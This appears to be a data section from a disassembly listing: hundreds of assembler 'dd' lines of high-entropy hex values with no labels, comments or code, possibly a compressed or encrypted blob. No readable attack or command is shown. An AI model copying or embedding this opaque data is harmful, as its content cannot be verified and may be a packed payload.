		dd 0FC9A0560h, 55D1C701h, 0EA219ADDh, 2F68D824h, 4001825h
		dd 5F8BFA9Bh, 0A39F48h,	0EBC31EBAh, 30FE9CC6h, 0F7303ACCh
		dd 448401EFh, 6C3A5AE2h, 1885B760h, 0CE807237h,	8618F0h
		dd 0B5624CBBh, 90C1E131h, 0C320BD05h, 0D7C0D1F1h, 0F84F82BEh
		dd 1F7A3068h, 5B882859h, 22949C00h, 1E2FD1EAh, 0C2A8002Ah
		dd 0FEA2E8BFh, 842624E2h, 0A400D9C1h, 1192202h,	38DD60F7h
		dd 3D2B60BBh, 6C71B302h, 80229753h, 1A6EB078h, 7F39009Ah
		dd 0B276D73Ah, 0EA02E0E6h, 0BE216687h, 384C580Ah, 2802689h
		dd 0E7D1E896h, 0E20142A9h, 0DF2DADD9h, 12ED65D0h, 0D4D820D9h
		dd 975E009Dh, 52DEDC01h, 6D002962h, 32F7DDA0h, 66063DAh
		dd 680E1438h, 3B246111h, 4A9C146Eh, 6CCF8700h, 4C349A25h
		dd 26008D61h, 0B713D69h, 0C6012BDEh, 0A688A3E3h, 0A56124CBh
		dd 0EB4ED180h, 2CF6C0E6h, 0A7622F0Eh, 0CE78E3D7h, 761E6DEh
		dd 9161A018h, 89B0F029h, 6900ABE8h, 199AFB07h, 46A8AB6h
		dd 62867BA3h, 3569C037h, 0E979C339h, 0BC806CBEh, 680C2AD0h
		dd 83328833h, 5C80DC50h, 47B16003h, 0F7FE0CB4h,	0B8264805h
		dd 83D50020h, 7B9E0396h, 0B30734C6h, 5F99A62h, 0E550E9E0h
		dd 0B5CC0379h, 34B9877Ah, 8EE0D5C1h, 27684210h,	41405480h
		dd 726C98DAh, 7EE50178h, 267D7C67h, 6BACD058h, 757920C0h
		dd 0EF1078h, 3B6EB42Dh,	87623512h, 0AD86631Eh, 0FDF5E601h
		dd 608F3E59h, 0DA4567D0h, 0C372C78Dh, 18303D39h, 61237138h
		dd 10F060B9h, 40BDE3B4h, 537AB200h, 3A41DB16h, 0D98E1CE6h
		dd 0DA390C8Fh, 0F9006128h, 0F6366CBFh, 3AC7E7B4h, 0A237B534h
		dd 0BF64B049h, 4C3E40AEh, 840990FCh, 10243D02h,	7C97B269h
		dd 0F780B091h, 0EB451AFAh, 0AA604818h, 0C0469471h, 2B54FCD1h
		dd 0B33A14D2h, 26198FC0h, 781500FDh, 1C9B82h, 0D287739h
		dd 0E5B2EF47h, 8FCF800h, 48FB681Eh, 19F91DE2h, 4C2000B3h
		dd 336F1D5Bh, 0F48A2F00h, 7A437692h, 0BFE7008Bh, 66D50B86h
		dd 6503CCEAh, 0B51F37EBh, 0EF09056h, 801C00D6h,	0E117995Eh
		dd 5C0074A9h, 36EFD1BCh, 9805A6B0h, 1EF884h, 0CF65C4D6h
		dd 0F68C8E0Eh, 474D3C0Eh, 6945A02Eh, 7B110C0h, 0E78DD046h
		dd 6114D34Fh, 9F1158h, 85E659Dh, 63E68A38h, 4FCA089Bh
		dd 96A62000h, 588E1A9Dh, 745900B8h, 358FC610h, 8630D742h
		dd 5DEE4865h, 30DE49h, 0BF74C0FAh, 8A1F437Ah, 0A240C405h
		dd 0A7B538C1h, 0C8AC0E99h, 0B87E0603h, 428D793Fh, 0C041B6F7h
		dd 0D548057Ch, 927200C3h, 2B9E39A3h, 357B863h, 43166478h
		dd 0C1006F0Eh, 0AA9BFCCEh, 7ACFC904h, 388B1D0Dh, 0ACE48057h
		dd 0F5C3DAA8h, 443B1518h, 3750430h, 423FDCBAh, 0C1008E50h
		dd 816D79ADh, 6FC5B486h, 0AB80C8F6h, 83C3EA72h,	0A525F40Eh
		dd 849AA151h, 0FED1A0A8h, 378B6F4h, 66F7D6C6h, 39009657h
		dd 0B25F2D0h, 53738Ch, 0BA67C548h, 0C69BA183h, 6615117Ah
		dd 79843ABh, 6371296Dh,	0EE857A43h, 0E67407D9h,	708408FEh
		dd 0C6DAAE06h, 0B25415FEh, 0AD3E4694h, 39A50BF2h, 2E720CBDh
		dd 0D48400C6h, 720268E0h, 0E4E05B2Ah, 0E2EEF416h, 0E6F09318h
		dd 0B7A838FFh, 0B08C4518h, 0BB00AA70h, 0E585E3F6h, 3DC6FDB5h
		dd 0F000035Ch, 8F573F3Bh, 0E0746B65h, 21B818A0h, 6FC8A803h
		dd 0F4D449h, 796677F9h,	7ACAD212h, 5C734100h, 3BD652DFh
		dd 75673C7Fh, 87216D0Fh, 0C8D0C303h, 40F848E9h,	77977C84h
		dd 5A1FE8E8h, 0D00FFD55h, 32798188h, 5089CF0Dh,	4C2110F7h
		dd 0D542C2FBh, 9471F0DEh, 9B398400h, 89BF6555h,	2DC7C1Fh
		dd 76C524EAh, 1C418A45h, 0DDD3E1A9h, 0F4BAE141h, 28C03EB6h
		dd 0E3A577E7h, 643A0E43h, 18F80D5Fh, 6354CAFEh,	4A665C8h
		dd 0CBC6FF14h, 5F3E019Ch, 50B85C57h, 14C39840h,	0C55E00F2h
		dd 7A39036Bh, 0B50C4FDCh, 6605C1CEh, 8C730C42h,	0CD30B6EBh
		dd 190FEBB0h, 0A07D5496h, 0C7CE72E3h, 74C50144h, 8A40F537h
		dd 0D42850B8h, 19CA0EBCh, 8611C065h, 6B617005h,	0D8EC425Ch
		dd 60B0748Bh, 0B906C510h, 0D61DC603h, 0EA9344A8h, 59227434h
		dd 72BE9001h, 7EF94F0Ah, 24E499C1h, 2F21C72Ah, 2173C5DBh
		dd 5271367Ch, 384A8F08h, 8C571881h, 1805F75Eh, 0E414C1D1h
		dd 915C8447h, 0F60823A9h, 0CD900849h, 21BF38A8h, 0C2C6E1FFh
		dd 0C94981E0h, 4355DBAh, 7540C881h, 0FF5BBDA2h,	892C93E0h
		dd 81554A30h, 19E82BC3h, 3131BF60h, 206AC571h, 0C83C9A16h
		dd 59F9B07Eh, 0C05F9289h, 30DAF839h, 0C50A0365h, 0CCF257DCh
		dd 0FB5D1783h, 0E011004Bh, 65565ABAh, 0F31577C2h, 0BC42E1h
		dd 0E2ED5BB8h, 17ED313h, 111A0566h, 0E1D0797Dh,	0B40E80Dh
		dd 6117364h, 8CEED2C0h,	0A109845h, 0B5BFC6Fh, 60942034h
		dd 5DDCC116h, 0C8E882B9h, 0CE38E015h, 15C040A0h, 0B3588F64h
		dd 0D8261CD3h, 92E9EB8Ah, 4E7E30A4h, 3F7F83A1h,	0F707C218h
		dd 2879CD10h, 0E68409D4h, 4187013Ah, 0DC7CBF71h, 93C4C4CFh
		dd 89B9080Eh, 51ED8C40h, 9040AFE6h, 907F1044h, 3703F0A2h
		dd 7F7C3FFh, 0F5DD0619h, 0E36B23Bh, 0E1EE9068h,	3039D524h
		dd 547AC30Ah, 36047C28h, 45E1F410h, 3EA82F42h, 0DC54440h
		dd 0CC7040C0h, 94217E2h
		dd 0F660332Dh, 24A68020h, 5E44D927h, 18C9D8F1h,	41444223h
		dd 3904221Ah, 30D5EB30h, 0D6DC58h, 0ACC6CCD1h, 770A56A5h
		dd 29CCD0Bh, 4F41000Bh,	319B5C7h, 792D54A0h, 0C9B31BBFh
		dd 6C8DF9A0h, 2E4A8207h, 0D2D03451h, 4CC338E2h,	5E2444E8h
		dd 36C80D1Ch, 3B54E8F0h, 26707D50h, 4C97318h, 1D61E9D4h
		dd 15EA1BC3h, 0F3090DDh, 757BFB20h, 62285700h, 0C4FCC7D9h
		dd 24710978h, 18A05F6Ch, 539C09EDh, 17383E00h, 59F31BD5h
		dd 4C92013Bh, 0BB7F31A7h, 20F43562h, 8A4D7C24h,	17ED002Ch
		dd 0FF574CBEh, 0F540E3Bh, 788C25A2h, 0BEF84F21h, 0E5EE9914h
		dd 296B185Ch, 1179F79h,	0BD7E86B5h, 63EEA0C0h, 0B7EC1F74h
		dd 481BE480h, 1371C99h,	959E8397h, 0EC499B03h, 5B244AE6h
		dd 0BC02575Dh, 64414F17h, 0AB1F448Ch, 7CF3BB0Ch, 0E11F5h
		dd 33106BC1h, 111650ADh, 587EE724h, 6D6C0504h, 7CEC98D0h
		dd 9DAE00A1h, 7731FD67h, 2B2C7F6Ah, 0AD00CCC2h,	0E401B746h
		dd 252C2ED4h, 0E5950968h, 6CC24400h, 0D673A735h, 0E95E3730h
		dd 2EA8729h, 3794C7Eh, 48814702h, 20B7FE8Bh, 973DB426h
		dd 3730FDF3h, 773B3940h, 703A011Bh, 0DE42036Dh,	3C6C568Dh
		dd 9D351E16h, 4CC690Bh,	60D39728h, 0DC4FB0ACh, 5731C08Fh
		dd 1104E9CEh, 88395Dh, 91DEDF85h, 17CCAF7h, 545FFE63h
		dd 0ACB10BFCh, 0DB14F49Eh, 70721620h, 0D715C804h, 9589760Fh
		dd 0BE080430h, 17577311h, 4A80A488h, 6878BEF0h,	0B0C10041h
		dd 77C6F15Ah, 0C5077357h, 7CB5197Ah, 51528CE0h,	6FBC15DDh
		dd 0F206E836h, 30F0FD97h, 0E068C212h, 841F7012h, 0F85CF556h
		dd 0A8A33DC8h, 8830E7B9h, 801C7D57h, 9914AF9Ah,	0E120844Dh
		dd 0E718AC2Ch, 98944DE6h, 79D9660h, 2298465Dh, 10A001CBh
		dd 7976CF9Dh, 0DC2ECDEh, 48E9B437h, 0A730F604h,	5D23229Dh
		dd 49AD08A0h, 9D99A500h, 0C0FDC6h, 0C4DB5F3Ah, 0C3447380h
		dd 2B0C7748h, 30BBC0Ch,	5FB402BEh, 0F4BC9B40h, 0BE0B4B43h
		dd 0B1C133EBh, 0CA81C801h, 58921970h, 6E24ED19h, 0DC287406h
		dd 65897D30h, 0F8E884CAh, 0B500027Ch, 739E9003h, 5C09813Fh
		dd 3C030348h, 677204D8h, 662E23F0h, 26970D01h, 4D623489h
		dd 60A1C834h, 0C293B854h, 0C83F0513h, 24F3A419h, 4601144h
		dd 77E257BEh, 614568A4h, 7BECE40h, 9DEB00B9h, 47E3E86h
		dd 59017529h, 0B52BDF9Ch, 5C22EF8Ah, 59307729h,	0A518A4h
		dd 0D9DEAAC5h, 80C6827Eh, 0B6F85C0Ah, 9600C42Dh, 4F3BF1D4h
		dd 30894550h, 0A953FED8h, 0C6DB02A4h, 91737F39h, 8E149984h
		dd 0C0D288E4h, 80C59AD3h, 0A942F514h, 24EE0668h, 10984CFCh
		dd 11866BD8h, 0AD0BECC2h, 0C890C5B7h, 0B40F2D15h, 9DAF5319h
		dd 0A366257Eh, 4F7EA8h,	5175591h, 72E18396h, 740C6890h
		dd 0F99F446Ch, 0FE5429E6h, 0C9560060h, 0E84ACCEDh, 406244B1h
		dd 6A600E4Dh, 41F70F75h, 4B7E6418h, 75FEC41h, 0F618B7FCh
		dd 0C34E1249h, 0A082A49Ah, 95181472h, 5E48129Dh, 7BC43810h
		dd 6E9D0D00h, 8E2267Fh,	0A08B7375h, 177949C4h, 4843A7Dh
		dd 44535Ch, 1C62CF05h, 0AEAC0BB3h, 0E405DAA8h, 9AA8306Ch
		dd 3A12CFDFh, 2C62EE14h, 0BE0A309Fh, 0E7575908h, 4047643Bh
		dd 60BEF264h, 0AB36012Ah, 0D1B67002h, 2E106288h, 7D429457h
		dd 5E8CA048h, 0EE6F34h,	76F1DE87h, 6320FB19h, 96B43FAh
		dd 0FFE43B30h, 0E0F06FC2h, 3E39D1F4h, 0F63CE29Bh, 0B0695730h
		dd 9C002F07h, 0DBC0B1A7h, 0E8C149D4h, 1721C0B5h, 0D9902039h
		dd 26862E00h, 6776FCEAh, 333502C4h, 3A0E1838h, 8B6C9860h
		dd 8DD0C550h, 0B10273F0h, 10DB2B46h, 0D1EC4016h, 60837A76h
		dd 3267108Fh, 5A01BAE1h, 0ED6A5597h, 42C1A674h,	30CDAC70h
		dd 3C5809D1h, 6C1FE12Fh, 78A61945h, 7F24F307h, 1F7BD11Fh
		dd 82DD3FB0h, 69BEDCA0h, 0FF6C99C0h, 52F0D85Ah,	435517A2h
		dd 8D584974h, 8167C404h, 62C54233h, 472000A0h, 9D72F8BBh
		dd 0F7600CDh, 0A5409023h, 2B2C443Bh, 0A15120D7h, 47237100h
		dd 4888B630h, 4A0324DFh, 5D1C00DDh, 7AC75328h, 0A2CD077h
		dd 0B15064A7h, 20F053FCh, 6437A3C4h, 0C1F2E008h, 0F4982F23h
		dd 0F986C191h, 20551B10h, 23F21D00h, 33D8EE86h,	0AFFB007Dh
		dd 1021D9ABh, 30916715h, 91179200h, 71225Eh, 0F65455BFh
		dd 0C5F5580Dh, 0D05BCD24h, 38178840h, 0A50501EFh, 290928C2h
		dd 1C8220Bh, 8108CE5h, 1CE4C4DAh, 94C308B6h, 0A43EEE1Ah
		dd 0ED9D54B1h, 0BE07A15Ch, 0E330439Fh, 1250B3h,	0AE7DDD62h
		dd 0C39578ECh, 46CE3Ch,	486DE0D5h, 4318061h, 0C8B4DB39h
		dd 0CC50405Bh, 0F4E89897h, 0F9693DE0h, 29A0BA82h, 0EC48C770h
		dd 586FCEB4h, 0C8718931h, 3DC1E6E8h, 0C82517Eh,	878608FEh
		dd 320D840h, 134D7B07h,	0B40036C6h, 4C7367ACh, 7C001C62h
		dd 0A74166E2h, 9E01275Fh, 50678E6h, 0E19DD409h,	66DB0E65h
		dd 9880798Bh, 0F053D122h, 0ADD4F21Eh, 0CE9A7383h, 0CA4FA038h
		dd 91EE17h, 2C07D82Ah, 2EB5D2AEh, 7460C8E8h, 57C21820h
		dd 70479F6h, 85DA3A7Ah,	0EE03C942h, 48A6ACFCh, 3174F130h
		dd 7CB26Dh, 583053B4h, 461C042Bh, 0E9DAB01h, 7FFB17E0h
		dd 0D3372880h, 0ECF0EFE4h, 4D198AE8h, 82080CF4h, 0A1B66180h
		dd 3D5A17EFh, 0FD5BD900h, 7258A8E5h, 0BC24008Ah, 0D3A448E8h
		dd 0CA52E012h, 0C0D8E76Ch, 5A7E0EDh, 0E2907B03h, 0D1BBE85Eh
		dd 6880607Dh, 0F0DFE6F8h, 9E78B549h, 0FC73B9C0h, 5B88DCDh
		dd 0E13802FBh, 72C50009h, 0AB8846E9h, 2F294E60h, 39A9403h
		dd 7F2EE5CFh, 81964FCh,	0A20CBDBh, 0A0D5BF00h, 36CDE20Fh
		dd 4D7FA3E9h, 45B89163h, 0E3FA9C48h, 2CE0EA0Dh,	9CAC0CECh
		dd 0B3215B60h, 165EF92h, 0B9CB18B6h, 5060CE97h,	0FA5148D4h
		dd 0CFB75318h, 1912F68h, 3662FE8Eh, 0E70AD885h,	2AB022F8h
		dd 0CE37E200h, 0AE06B596h, 340200CDh, 918026EBh, 0EDE64D1Dh
		dd 0A72DAB00h, 0D2A13952h, 0D675005Ah, 9DB10F82h, 697BE172h
		dd 0F56E0807h, 1DF706Bh, 0CEA7A117h, 7B1CF0h, 9A156F4Bh
		dd 0E4326C56h, 71066A00h, 0F93CC962h, 37AD071Fh, 0D0CFDEE2h
		dd 0E1447BE8h, 2D03FA7Ch, 9570F94Bh, 11100E3h, 0E8A5D498h
		dd 4D12811Dh, 0A30CB560h, 0AE21BFh, 4999D2C3h, 6DD918A4h
		dd 0E8188760h, 3B4C90E6h, 5EBF756Eh, 4480848Ch,	9243C460h
		dd 0A1D4BC01h, 0C7BBDE8h, 228924h, 426FE7h, 0D606C858h
		dd 0EFAAB6DEh, 0F99EEC18h, 73E02D8h, 6F4A125Eh,	0D02A168Ch
		dd 75766DE2h, 17A68900h, 9922573h, 3015620Ch, 0EE002BE6h
		dd 1D4E91D5h, 4092B2FBh, 99825883h, 0A800AAA3h,	95759A47h
		dd 779274Ah, 32FD28F5h,	0AFE04FFAh, 4C2CE24Bh, 308E400h
		dd 52CC1FBAh, 0A771B1h,	4EFB24ACh, 0F443BFD6h, 39DBB500h
		dd 16D96DF6h, 971744DDh, 0ACE42900h, 79BF9577h,	4BF8392Ah
		dd 71817380h, 66BA7AEBh, 8E074490h, 213B35E9h, 9F07CAE0h
		dd 9C7478h, 0E2412A89h,	5FCDF005h, 4B008678h, 477FC1B1h
		dd 7F1674Fh, 94E26D91h,	0BF8C60C2h, 7938294Bh, 0B1BA803Dh
		dd 11851041h, 0C750026h, 7F43BD45h, 0C607E512h,	0B61D59F5h
		dd 48FBD430h, 111003Ch,	9CC139BFh, 528FF08h, 88C08ED0h
		dd 1B572B4Bh, 0A60750CCh, 1FC0C085h, 9DB61BFh, 10C0A47Ch
		dd 4C756326h, 683A038Dh, 0F503D2CBh, 0C70902D9h, 0BA01409Eh
		dd 39A54189h, 0B0E373C4h
		dd 3C90A1Fh, 33B6A493h,	0ECA087F8h, 0CC16D315h,	8C00C5FEh
		dd 1DB3E19Ah, 6004AD9Bh, 23F55443h, 0DC874246h,	0D50EC2C8h
		dd 60679300h, 0FD95440Bh, 1070DD3Fh, 6928E7C1h,	0F1CE3A1Ch
		dd 0F3958E0Fh, 0CA598307h, 809F20h, 0C50DFA97h,	4F0CF25Ah
		dd 981E62C2h, 5009D963h, 5B184296h, 69BB4CA6h, 0C87898E9h
		dd 0A11D7519h, 89A0411Ch, 3BF03490h, 50503418h,	0E98D6010h
		dd 516E209h, 400EBBC8h,	81CAC673h, 68C98568h, 0C228BC14h
		dd 8D4BD469h, 0C0908B4h, 86148FFAh, 65914432h, 379D20C2h
		dd 58508A40h, 39002155h, 0F3656F45h, 73348595h,	4970A97Eh
		dd 0E5AA0880h, 2D1DB55Ah, 0A1FC158Ah, 0BB677D04h, 2810CC06h
		dd 0C7BE9h, 85FCC6E4h, 91D11831h, 9FC1A502h, 8140B159h
		dd 6F4EEE20h, 1874F7C4h, 18569487h, 8F335101h, 15F33833h
		dd 0E0DF7851h, 0A7C2D40Ch, 0FA01E449h, 774D1187h, 1760D220h
		dd 0A6BB181Eh, 0F4B38F1h, 6031AF48h, 0F957D511h, 0CF5D01BEh
		dd 97094FC0h, 5668832Ch, 4CA986h, 3F2BF748h, 3E92B832h
		dd 0CD629F07h, 0FC47A3C8h, 0AD536940h, 0CEAE183Ch, 0EB19A04Ch
		dd 0A0C0E090h, 0CB48C80Fh, 6049E833h, 0C24A08CFh, 8CAB9779h
		dd 51CB4837h, 81A5E0EFh, 0C6CCCDh, 2FF4A7DFh, 0AEE7D618h
		dd 30411D07h, 0CC8079A9h, 559B3Ah, 0AFFD8477h, 0FCD143C3h
		dd 6C010499h, 56B3BABBh, 0DFE18C40h, 0E8BD60FEh, 0B2055E36h
		dd 5FE81D06h, 0C89B059h, 0EA4804ADh, 0B8304568h, 227018ACh
		dd 59521326h, 0C71C47C9h, 0DE747262h, 0CAA3C0A0h, 3A00F1C6h
		dd 0AAC434C0h, 94E4D42h, 8C8E47AEh, 745483FDh, 0E13166FEh
		dd 0CAE608CEh, 0C498B801h, 0F4C7AAF2h, 11C023E1h, 97FF01CFh
		dd 0CB8778F1h, 4C218AC2h, 0D406B069h, 50A1AE18h, 40CA8F6h
		dd 79C52EC8h, 7024D756h, 0F357C0E9h, 8D8A4A00h,	7A589BFCh
		dd 2CA84987h, 9EA8192Bh, 0B0EA031Ah, 0FDC0F032h, 714D8AC4h
		dd 1C781114h, 60F13A07h, 58B88ABBh, 0B242FFEBh,	0D3F8BC22h
		dd 0E81E6F01h, 0E69F334Ah, 3DBEF830h, 3901882Dh, 7685F855h
		dd 1C7B703Ch, 38D2921Dh, 0CE5678F0h, 8C91003Dh,	0DF5F47B0h
		dd 8B004AECh, 0E73E0157h, 3C9B5607h, 193F7020h,	0D822EE98h
		dd 4B009DB7h, 818A7A59h, 3CD40FC8h, 50494E3Ch, 98096C22h
		dd 259FCFFDh, 0B81F95ACh, 0C4455F53h, 0B84CCD4Ch, 3D7531C9h
		dd 0F2D8572Eh, 0A0DC4524h, 3A747ED8h, 3A1494C3h, 7FA18CD0h
		dd 4F5700FDh, 20BE40DDh, 5E060C99h, 1830F27Dh, 0E8AF4FD4h
		dd 4449DD74h, 0C1CFC430h, 2C00DC95h, 547544B0h,	4A4CA11Dh
		dd 566D8700h, 9A8060A1h, 5E91D3F1h, 56610280h, 14601816h
		dd 6806C2ACh, 0D12EA3DDh, 489140h, 0A8749E9Ah, 78285880h
		dd 4B31480Dh, 569228CEh, 0D374E610h, 129C2752h,	880FF2FDh
		dd 958156Bh, 134C6B9h, 2437EBBDh, 585D4850h, 523C00BEh
		dd 0DDABF7DFh, 0B118B33Fh, 5C8063E6h, 3C1432CAh, 2C406BB0h
		dd 0C024FC5Bh, 42008C8Bh, 49DF9ED8h, 78856211h,	4B00CB36h
		dd 2A932AC4h, 1280D151h, 86C769Fh, 606202E0h, 70B086F0h
		dd 0C734A0B1h, 0D96A3048h, 0EB3B9339h, 0AD97DC18h, 2C6098h
		dd 7856FAE9h, 0B6DA7FCFh, 0BAD0E162h, 5A8CA3AAh, 1884FF9Eh
		dd 0F0DD6E21h, 102ACFF7h, 314CA80Ah, 65CC0B04h,	4298A05Ch
		dd 67AF964Ah, 46DC9043h, 4D7B78D3h, 297FC81Fh, 0C103758Dh
		dd 0E099C843h, 3C4EA7E0h, 8E09FD77h, 697E79CBh,	0AD9B3602h
		dd 0F68C82F3h, 0F49880C8h, 2062C6Dh, 997A16E3h,	4CC89FD6h
		dd 8E188670h, 1190F255h, 2110B9CEh, 4B507F04h, 96E82E0Eh
		dd 420137Ch, 4607FA64h,	4C2946B9h, 600AC56h, 0F6F3CC86h
		dd 48004364h, 0E5817C4Ch, 17E67B2h, 79925BD8h, 2C8D2C62h
		dd 0AED23C44h, 0CF404476h, 5EAF40h, 699A1BFh, 88E58EABh
		dd 0F674FC00h, 4DCCBC6Eh, 685FC5Fh, 5C39C1BAh, 100A958h
		dd 2AF8F335h, 5595D7h, 4DB54E5Dh, 1B6BDD3Eh, 1EF7D105h
		dd 7000FCD6h, 0E30FC2D5h, 20C10656h, 8F9706Bh, 8E21AC63h
		dd 0A0C680C8h, 7EEE3F05h, 58D76280h, 0D9922288h, 84800494h
		dd 0E6A2C2D4h, 754016ACh, 2154407Fh, 3466DCFBh,	9D27C300h
		dd 0D2DB65CBh, 0BDBE0159h, 449EB877h, 4C7DED1Dh, 0B2E44AA4h
		dd 0F3974307h, 0B19C5DC3h, 8746078Ch, 0B0A2886Fh, 319220F1h
		dd 7DEBE101h, 35E5DBEDh, 983842F8h, 5FD30964h, 50A73A72h
		dd 495976ABh, 5DA9E3Fh,	0B170521Ch, 4DA728C8h, 4B7E7CCBh
		dd 734C404Eh, 2C939239h, 50A44C39h, 47F4C00Ch, 5C317428h
		dd 9B76201h, 379598C7h,	0CF975CC0h, 93A0C351h, 3045A63Fh
		dd 785498B0h, 0AA787390h, 0C8FA0551h, 0F600B6F2h, 2B4974CAh
		dd 18528A0Ch, 88B58032h, 616075D3h, 30CB2239h, 7030040h
		dd 0F0D69E11h, 630070C3h, 7B819D66h, 0CEC05D6Bh, 91AFF981h
		dd 4538DFA3h, 0D7E78AC0h, 0B892090Fh, 80CBA96Dh, 8BECEBC5h
		dd 4C9315BDh, 6F00ECCFh, 95B72061h, 0E50A3631h,	0B007CCC8h
		dd 4F06380h, 0E822CDh, 462487FAh, 5F3F20D9h, 2CF4A05Ch
		dd 5942645Dh, 0C0B49107h, 0D51904E3h, 809F9257h, 0B8DC48ACh
		dd 0AE111306h, 0E96272h, 1BFB8331h, 0E233DBCEh,	7EEB1C00h
		dd 0BB8F5144h, 0DFCF0242h, 15A488C6h, 7410B841h, 4100F5D8h
		dd 0AD20FAE3h, 24787BD0h, 6484445Bh, 0F458989Ch, 20337827h
		dd 17950AD4h, 0EED100EBh, 5BE1AA4Eh, 5716AD90h,	7825FAA4h
		dd 224C1Fh, 24FD3784h, 46F6729Fh, 0E6005978h, 1AA48BADh
		dd 3AFFD634h, 2B0BBE5Bh, 5C8745B1h, 1C9C4931h, 0F0897300h
		dd 0EA362708h, 199FA04Eh, 88D65C6Bh, 2C68D080h,	4C90D4F4h
		dd 0E84BED00h, 596307FCh, 54C6EA40h, 5475FCAFh,	0B77A47Eh
		dd 0DC86D931h, 0D8BA8180h, 0A712F937h, 70466D8Bh, 614FD3h
		dd 98F172Eh, 0EC04F12Bh, 78EDD500h, 69DD646Bh, 51CE7AC0h
		dd 25E8AEF4h, 5C947CE5h, 0B689ECF2h, 38196CE8h,	65BE6B01h
		dd 0EB5C0A4Ch, 0D31E3887h, 78E5F692h, 245058DBh, 400C5D08h
		dd 0D44B3AC6h, 2DCB6800h, 0C4BB194Dh, 419201A7h, 405FCCC3h
		dd 5DF0206Dh, 263A1D44h, 413C7F74h, 0FC2DDBFDh,	0F100E693h
		dd 0ECC59428h, 0D0410EFh, 0F746D16Ah, 0BED84278h, 77451A21h
		dd 327A418Bh, 0CD3A0010h, 26004190h, 0ACB6E827h, 79918D8h
		dd 66968FABh, 97402024h, 3F0EDB0h, 18F06D3Eh, 432081D5h
		dd 6166013Dh, 18FD79E8h, 86398003h, 39F0F28Ah, 109A60F1h
		dd 0C587EAF5h, 5B41D600h, 8C372057h, 25DB3D22h,	0D79E5080h
		dd 0B2BC1EF0h, 964EDD03h, 803B94h, 48D2351h, 76642BFh
		dd 0ACB4900Ah, 347541Fh, 68AA82D9h, 6454A6F0h, 3C460021h
		dd 7D622666h, 1F7F019Ah, 0EA949B00h, 0C89341CDh, 0C38F28BFh
		dd 39D94680h, 0A9093A01h, 0CF152C58h, 3A880080h, 61DF3F66h
		dd 83B47BBAh, 0F2145AC0h, 0D9156700h, 0B6D77E41h, 0AA84A198h
		dd 7806C5C8h, 5288008Dh, 0A0F4127Fh, 5B0F825Ah,	8020088Bh
		dd 552B297Bh, 25A9039Ah, 0ABB49590h, 9EF4100h, 271A8BDCh
		dd 88A618FCh, 92FB08ECh, 431220C0h, 30BA8ADDh, 0F0909DD4h
		dd 376F3A81h, 21B60341h, 6035CAE7h, 3A13A671h, 0B230C85Ch
		dd 0E797D121h, 0BD8A3300h, 0F4A6146h, 87E01E9h,	0E3BB2C21h
		dd 101DF491h, 23FBA202h, 0A0F2961Bh, 1A0A8AF4h,	0C048DE7Fh
		dd 0DDA5CB31h, 28152692h, 0AC6015h, 5256F94Ah, 1D735DB4h
		dd 80D31DA5h, 2AF6665Eh
		dd 6535481Bh, 504A5094h, 6BCB81Eh, 111973F1h, 68A10061h
		dd 0E6CEE24Dh, 9A0054EDh, 2A6A6095h, 15CC7856h,	8CE72811h
		dd 0D713337Eh, 91FB1B49h, 0DF005073h, 9A2F5502h, 379DF3h
		dd 0E998D0D1h, 0F73DF2F5h, 35974506h, 490953h, 0FE95D042h
		dd 0A0DC3A5Bh, 9C91A52Ah, 0B5002378h, 61314E60h, 1E3B2D2Bh
		dd 9B0B0D84h, 8809D170h, 8DA769h, 0E3E2190h, 302478A9h
		dd 4049AB39h, 0E24C531Fh, 92A804FCh, 0AC8884ECh, 0B0F8072Dh
		dd 0A00CF36Dh, 0A832279Dh, 9ACD38C1h, 1A213581h, 78F6C20h
		dd 1025C891h, 984F102Dh, 0C31837ACh, 0CD589E1Fh, 139D1953h
		dd 0F03DD805h, 7530ECABh, 99CD39DDh, 113A00DFh,	0A3D8317h
		dd 49C42EBCh, 5088E10Dh, 0C1170AD5h, 47182458h,	0CDCC204Fh
		dd 891A8016h, 60C0AC62h, 2D3DCAh, 0F5738544h, 0F7016A29h
		dd 4A9D371Ch, 17F059C0h, 0CE96C5h, 0B1919005h, 9EC2FD95h
		dd 2ED55100h, 37BA39ACh, 0A298E32Bh, 9705B9A9h,	6568E88h
		dd 0EFC74C5Bh, 86017984h, 2B5197B5h, 0E45308A0h, 0C02ACB28h
		dd 129A6CC5h, 401BB0ABh, 405D4DE0h, 18006613h, 3076FA9Ch
		dd 1DF5E9Ah, 10C76594h,	0DC5A4E84h, 196053E2h, 0BD422AF0h
		dd 0B8714A96h, 0EA80349h, 0F2354Ch, 0AF29C5C8h,	0C3A9C73Eh
		dd 0AB827C12h, 0C08FEC08h, 1001DC07h, 60FE7721h, 29DD41D4h
		dd 692FC509h, 18848A6Fh, 55B9C1ADh, 9357E9D3h, 0E2358443h
		dd 20FCE25Ch, 6F24CA80h, 3A56702Ch, 0E69D6355h,	40771254h
		dd 6FD66884h, 11C0B45Bh, 625C0FAAh, 0C57D0FE8h,	39003753h
		dd 3DF7D798h, 0EB6085EAh, 829A0168h, 7B89C183h,	0F017B019h
		dd 9F090AA9h, 0A4D2AC52h, 3540E2D8h, 0A859D22h,	0E6EE5D00h
		dd 0BDFC3D6Ah, 437E858h, 0C5AF606h, 0B69CC157h,	0C02D6022h
		dd 59763B98h, 4CE5E203h, 0C0DEAA07h, 992260h, 7F1D1EB5h
		dd 0AB7D689Fh, 0AC00FAEAh, 8E76F724h, 166C6A5Eh, 0D220CEh
		dd 2ED794F6h, 200D89Ah,	8232C799h, 58F7F8h, 2D078823h
		dd 631A0D78h, 4CAC600h,	4C4D9192h, 0D4980077h, 0A48CD637h
		dd 7F07713Ah, 0AC76280h, 65222990h, 0F02B581Bh,	0B680F938h
		dd 0BA106E4h, 0ED00AEA7h, 0D4BFB334h, 2D5717h, 0C92ECDB8h
		dd 45F02892h, 0AF6E8600h, 0E12FA41Dh, 2BA30F40h, 88E06FD3h
		dd 0B003AD21h, 3578061Fh, 0C9707200h, 0A938B8h,	0B3C4F71Dh
		dd 0E2B15F77h, 0E1588C75h, 0C2691802h, 1E7390h,	0CEA8D250h
		dd 0AFCFF83Bh, 0B1FE03F6h, 0EB106100h, 9B76E34Ah, 3B7B00E6h
		dd 8CABE260h, 80018A57h, 1F83EE0Bh, 998F662h, 8937213Eh
		dd 0D3A78000h, 94047C54h, 0B63A675Eh, 0FEB300CAh, 0A600F2F6h
		dd 57DDCDBAh, 0E0FA4379h, 1E10181h, 0BFB01176h,	0B109C73h
		dd 628EA040h, 3444D3AFh, 8A229h, 9EA3EB68h, 2800303Ch
		dd 6E6E9A4h, 66BDCDBCh,	28AE5870h, 0B12F59C4h, 88A00D30h
